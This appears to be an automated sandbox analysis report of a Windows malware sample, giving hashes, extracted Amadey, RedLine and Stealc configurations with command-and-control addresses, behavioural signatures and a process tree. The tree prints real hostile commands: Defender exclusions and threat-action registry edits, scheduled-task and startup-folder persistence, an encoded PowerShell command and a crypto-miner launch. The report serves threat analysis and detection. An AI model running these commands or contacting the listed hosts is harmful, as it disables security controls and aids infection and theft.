Overview

overview

10

Static

static

3

cryptolaemus

windows10-2004-x64

10

cryptolaemus

windows11-21h2-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    31-08-2024 10:39

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    d842afaf2ea104f71e952a9ffb81307f5a0ff9ead0b15d445ba9aa7ecdd8557d.exe

  • Size

    1.8MB

  • MD5

    912f1d61e146c59bfb13145188da8286

  • SHA1

    f0eb41be1b4b679a7eef8734d4302a85527d6dee

  • SHA256

    d842afaf2ea104f71e952a9ffb81307f5a0ff9ead0b15d445ba9aa7ecdd8557d

  • SHA512

    8ea4597e34062e9e74d2bf69184fdcc14efbbe47b43551a7bb4db9d7ee62f8b8e41e3cc687d5a9b40a8d1c894dde4984d92829c7e26c284826dd1e65b96a5689

  • SSDEEP

    49152:TP5I0J57oTUMkwa00g+4nAE00iKLfsY9SMwej+BDcQUUbBYNUM:TPG03Umwa0830iKr99bj+FcBea

Score
10/10
amadeybuerredlinestealc@cloudytteamdefault2fed3aalivetrafficcredential_accessdefense_evasiondiscoveryevasionexecutioninfostealerloaderspywarestealertrojan

Malware Config

Extracted

Family

amadey

Version

4.41

Botnet

fed3aa

C2

http://185.215.113.16

Attributes
  • install_dir

    44111dbc49

  • install_file

    axplong.exe

  • strings_key

    8d0ad6945b1a30a186ec2d30be6db0b5

  • url_paths

    /Jo89Ku7d/index.php

rc4.plain

Extracted

Family

redline

Botnet

LiveTraffic

C2

95.179.250.45:26212

Extracted

Family

redline

Botnet

@CLOUDYTTEAM

C2

65.21.18.51:45580

Extracted

Family

stealc

Botnet

default2

C2

http://185.215.113.17

Attributes
  • url_path

    /2fb6c2cc8dce150a.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Buer

    Buer is a new modular loader first seen in August 2019.

    loaderbuer
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 3 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

    credential_accessstealer
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs
    evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 9 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 25 IoCs
  • Identifies Wine through registry keys 2 TTPs 4 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Indirect Command Execution 1 TTPs 6 IoCs

    Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

    defense_evasion
  • Loads dropped DLL 2 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates processes with tasklist 1 TTPs 2 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Windows directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 54 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 60 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3276
      • C:\Users\Admin\AppData\Local\Temp\d842afaf2ea104f71e952a9ffb81307f5a0ff9ead0b15d445ba9aa7ecdd8557d.exe
        "C:\Users\Admin\AppData\Local\Temp\d842afaf2ea104f71e952a9ffb81307f5a0ff9ead0b15d445ba9aa7ecdd8557d.exe"
        2⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:924
        • C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
          "C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"
          3⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3484
          • C:\Users\Admin\AppData\Local\Temp\1000002001\crypted.exe
            "C:\Users\Admin\AppData\Local\Temp\1000002001\crypted.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3468
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              5⤵
              • System Location Discovery: System Language Discovery
              • Modifies system certificate store
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2812
          • C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe
            "C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2424
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2060
              • C:\Users\Admin\AppData\Roaming\5HCKbj3RjD.exe
                "C:\Users\Admin\AppData\Roaming\5HCKbj3RjD.exe"
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2512
              • C:\Users\Admin\AppData\Roaming\m6mzr6EaQm.exe
                "C:\Users\Admin\AppData\Roaming\m6mzr6EaQm.exe"
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4880
          • C:\Users\Admin\AppData\Local\Temp\1000005001\Nework.exe
            "C:\Users\Admin\AppData\Local\Temp\1000005001\Nework.exe"
            4⤵
            • Executes dropped EXE
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:3412
            • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
              "C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe"
              5⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:2644
          • C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe
            "C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default2.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            PID:3584
          • C:\Users\Admin\AppData\Local\Temp\1000129001\caesium-image-compressor.exe
            "C:\Users\Admin\AppData\Local\Temp\1000129001\caesium-image-compressor.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1172
            • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
              "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:4712
          • C:\Users\Admin\AppData\Local\Temp\1000191001\BitcoinCore.exe
            "C:\Users\Admin\AppData\Local\Temp\1000191001\BitcoinCore.exe"
            4⤵
            • Executes dropped EXE
            PID:4296
          • C:\Users\Admin\AppData\Local\Temp\1000228001\PureSyncInst.exe
            "C:\Users\Admin\AppData\Local\Temp\1000228001\PureSyncInst.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            PID:4744
            • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
              "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:5036
          • C:\Users\Admin\AppData\Local\Temp\1000234001\runtime.exe
            "C:\Users\Admin\AppData\Local\Temp\1000234001\runtime.exe"
            4⤵
            • Executes dropped EXE
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2840
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /k move Honda Honda.bat & Honda.bat & exit
              5⤵
              • System Location Discovery: System Language Discovery
              PID:3944
              • C:\Windows\SysWOW64\tasklist.exe
                tasklist
                6⤵
                • Enumerates processes with tasklist
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                PID:3168
              • C:\Windows\SysWOW64\findstr.exe
                findstr /I "wrsa opssvc"
                6⤵
                • System Location Discovery: System Language Discovery
                PID:2016
              • C:\Windows\SysWOW64\tasklist.exe
                tasklist
                6⤵
                • Enumerates processes with tasklist
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                PID:4880
              • C:\Windows\SysWOW64\findstr.exe
                findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"
                6⤵
                • System Location Discovery: System Language Discovery
                PID:3016
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c md 591950
                6⤵
                • System Location Discovery: System Language Discovery
                PID:2196
              • C:\Windows\SysWOW64\findstr.exe
                findstr /V "BachelorRayPotentialBeats" Itsa
                6⤵
                • System Location Discovery: System Language Discovery
                PID:2156
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c copy /b ..\Competent + ..\Screw + ..\Whom + ..\Reveal + ..\Provides + ..\Still + ..\Entrepreneurs + ..\Greatest + ..\Corporate + ..\Wireless E
                6⤵
                • System Location Discovery: System Language Discovery
                PID:724
              • C:\Users\Admin\AppData\Local\Temp\591950\Shipment.pif
                Shipment.pif E
                6⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                PID:4160
                • C:\Users\Admin\AppData\Local\Temp\1000261001\PQP.exe
                  "C:\Users\Admin\AppData\Local\Temp\1000261001\PQP.exe"
                  7⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1912
                • C:\Users\Admin\AppData\Local\Temp\1000262001\385107.exe
                  "C:\Users\Admin\AppData\Local\Temp\1000262001\385107.exe"
                  7⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:5144
                  • C:\Users\Admin\AppData\Local\Temp\7zSB12.tmp\Install.exe
                    .\Install.exe
                    8⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:3208
                    • C:\Users\Admin\AppData\Local\Temp\7zSCD7.tmp\Install.exe
                      .\Install.exe /kHdidM "385107" /S
                      9⤵
                      • Checks BIOS information in registry
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      • Enumerates system info in registry
                      PID:5300
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                        10⤵
                        • System Location Discovery: System Language Discovery
                        PID:5456
                        • C:\Windows\SysWOW64\forfiles.exe
                          forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                          11⤵
                          • Indirect Command Execution
                          • System Location Discovery: System Language Discovery
                          PID:5556
                          • C:\Windows\SysWOW64\cmd.exe
                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                            12⤵
                            • System Location Discovery: System Language Discovery
                            PID:5592
                            • \??\c:\windows\SysWOW64\reg.exe
                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                              13⤵
                              • System Location Discovery: System Language Discovery
                              PID:5624
                        • C:\Windows\SysWOW64\forfiles.exe
                          forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                          11⤵
                          • Indirect Command Execution
                          • System Location Discovery: System Language Discovery
                          PID:5740
                          • C:\Windows\SysWOW64\cmd.exe
                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                            12⤵
                            • System Location Discovery: System Language Discovery
                            PID:5800
                            • \??\c:\windows\SysWOW64\reg.exe
                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                              13⤵
                              • System Location Discovery: System Language Discovery
                              PID:5832
                        • C:\Windows\SysWOW64\forfiles.exe
                          forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                          11⤵
                          • Indirect Command Execution
                          • System Location Discovery: System Language Discovery
                          PID:2892
                          • C:\Windows\SysWOW64\cmd.exe
                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                            12⤵
                            • System Location Discovery: System Language Discovery
                            PID:692
                            • \??\c:\windows\SysWOW64\reg.exe
                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                              13⤵
                              • System Location Discovery: System Language Discovery
                              PID:4704
                        • C:\Windows\SysWOW64\forfiles.exe
                          forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                          11⤵
                          • Indirect Command Execution
                          • System Location Discovery: System Language Discovery
                          PID:5184
                          • C:\Windows\SysWOW64\cmd.exe
                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                            12⤵
                            • System Location Discovery: System Language Discovery
                            PID:4632
                            • \??\c:\windows\SysWOW64\reg.exe
                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                              13⤵
                              • System Location Discovery: System Language Discovery
                              PID:5656
                        • C:\Windows\SysWOW64\forfiles.exe
                          forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                          11⤵
                          • Indirect Command Execution
                          • System Location Discovery: System Language Discovery
                          PID:5700
                          • C:\Windows\SysWOW64\cmd.exe
                            /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                            12⤵
                            • System Location Discovery: System Language Discovery
                            PID:5732
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              powershell start-process -WindowStyle Hidden gpupdate.exe /force
                              13⤵
                              • Command and Scripting Interpreter: PowerShell
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:5772
                              • C:\Windows\SysWOW64\gpupdate.exe
                                "C:\Windows\system32\gpupdate.exe" /force
                                14⤵
                                • System Location Discovery: System Language Discovery
                                PID:5236
                      • C:\Windows\SysWOW64\forfiles.exe
                        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                        10⤵
                        • Indirect Command Execution
                        • System Location Discovery: System Language Discovery
                        PID:5820
                        • C:\Windows\SysWOW64\cmd.exe
                          /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                          11⤵
                          • System Location Discovery: System Language Discovery
                          PID:2288
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                            12⤵
                            • Command and Scripting Interpreter: PowerShell
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1172
                            • C:\Windows\SysWOW64\Wbem\WMIC.exe
                              "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                              13⤵
                              • System Location Discovery: System Language Discovery
                              • Suspicious use of AdjustPrivilegeToken
                              PID:6064
                      • C:\Windows\SysWOW64\schtasks.exe
                        schtasks /CREATE /TN "bISIDNXXYteSJEZXLD" /SC once /ST 10:42:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSCD7.tmp\Install.exe\" W7 /HhqBdidgBK 385107 /S" /V1 /F
                        10⤵
                        • Drops file in Windows directory
                        • System Location Discovery: System Language Discovery
                        • Scheduled Task/Job: Scheduled Task
                        PID:2868
              • C:\Windows\SysWOW64\choice.exe
                choice /d y /t 5
                6⤵
                • System Location Discovery: System Language Discovery
                PID:4712
          • C:\Users\Admin\AppData\Local\Temp\1000235001\setup.exe
            "C:\Users\Admin\AppData\Local\Temp\1000235001\setup.exe"
            4⤵
            • Executes dropped EXE
            PID:1328
            • C:\Users\Admin\AppData\Local\Temp\1000235001\setup.exe
              "C:\Users\Admin\AppData\Local\Temp\1000235001\setup.exe" -sfxwaitall:1 "setuptmp.exe"
              5⤵
              • Executes dropped EXE
              PID:768
              • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\setuptmp.exe
                "C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\setuptmp.exe"
                6⤵
                • Executes dropped EXE
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious behavior: EnumeratesProcesses
                PID:2604
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
              5⤵
                PID:3780
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c schtasks.exe /create /tn "Statistics" /tr "wscript //B 'C:\Users\Admin\AppData\Local\TrackGuard Technologies\GuardTrack.js'" /sc minute /mo 5 /F
          2⤵
          • System Location Discovery: System Language Discovery
          PID:2200
          • C:\Windows\SysWOW64\schtasks.exe
            schtasks.exe /create /tn "Statistics" /tr "wscript //B 'C:\Users\Admin\AppData\Local\TrackGuard Technologies\GuardTrack.js'" /sc minute /mo 5 /F
            3⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:764
        • C:\Windows\SysWOW64\cmd.exe
          cmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardTrack.url" & echo URL="C:\Users\Admin\AppData\Local\TrackGuard Technologies\GuardTrack.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardTrack.url" & exit
          2⤵
          • Drops startup file
          • System Location Discovery: System Language Discovery
          PID:4248
      • C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
        C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
        1⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        PID:4264
      • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
        C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
        1⤵
        • Executes dropped EXE
        PID:4316
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARwB1AGkAZABcAFQAeQBwAGUASQBkAC4AZQB4AGUALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAgAC0ARgBvAHIAYwBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwARwB1AGkAZABcAFQAeQBwAGUASQBkAC4AZQB4AGUA
        1⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5460
      • C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
        C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
        1⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        PID:1968
      • C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
        C:\Users\Admin\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
        1⤵
        • Executes dropped EXE
        PID:1964
      • C:\Users\Admin\AppData\Roaming\Guid\TypeId.exe
        C:\Users\Admin\AppData\Roaming\Guid\TypeId.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of AdjustPrivilegeToken
        PID:1492
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
          2⤵
          • Suspicious use of SetThreadContext
          • Suspicious use of AdjustPrivilegeToken
          PID:5796
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u RVN:RR7XQNc8dKLtgQouBpDVpnVyh2AvUBCjXJ.RIG -p x --cpu-max-threads-hint=50
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:5600

      Network

      MITRE ATT&CK Enterprise v15

      Reconnaissance

      Resource Development

      Initial Access

      Execution

      Command and Scripting Interpreter

      1
      T1059

      PowerShell

      1
      T1059.001

      Scheduled Task/Job

      1
      T1053

      Scheduled Task

      1
      T1053.005

      Persistence

      Scheduled Task/Job

      1
      T1053

      Scheduled Task

      1
      T1053.005

      Privilege Escalation

      Scheduled Task/Job

      1
      T1053

      Scheduled Task

      1
      T1053.005

      Defense Evasion

      Indirect Command Execution

      1
      T1202

      Modify Registry

      1
      T1112

      Subvert Trust Controls

      1
      T1553

      Install Root Certificate

      1
      T1553.004

      Virtualization/Sandbox Evasion

      2
      T1497

      Credential Access

      Credentials from Password Stores

      1
      T1555

      Credentials from Web Browsers

      1
      T1555.003

      Unsecured Credentials

      4
      T1552

      Credentials In Files

      4
      T1552.001

      Discovery

      Process Discovery

      1
      T1057

      Query Registry

      7
      T1012

      System Information Discovery

      4
      T1082

      System Location Discovery

      1
      T1614

      System Language Discovery

      1
      T1614.001

      Virtualization/Sandbox Evasion

      2
      T1497

      Lateral Movement

      Collection

      Data from Local System

      3
      T1005

      Command and Control

      Exfiltration

      Impact

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\mozglue.dll
        Filesize

        593KB

        MD5

        c8fd9be83bc728cc04beffafc2907fe9

        SHA1

        95ab9f701e0024cedfbd312bcfe4e726744c4f2e

        SHA256

        ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

        SHA512

        fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

        Download Submit

      • C:\ProgramData\nss3.dll
        Filesize

        2.0MB

        MD5

        1cc453cdf74f31e4d913ff9c10acdde2

        SHA1

        6e85eae544d6e965f15fa5c39700fa7202f3aafe

        SHA256

        ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

        SHA512

        dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

        Download Submit

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
        Filesize

        1KB

        MD5

        faa2dd409bb88491b6c57728dbf8a673

        SHA1

        6095f074030e7599cb1f9c251c62e2c0d1fb7418

        SHA256

        955d02ee998eae94048f3a1b33c8eedc73276ef0a179efb1cebc970d9af0df09

        SHA512

        0ab69299400998bc05fe7074b2c9b01162db9343deab22b502a26c47a054d2ca42918908fcc77a8cc5d275c17635508d546c3f65d857f37a7331ec9c32a766ce

        Download Submit

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        15KB

        MD5

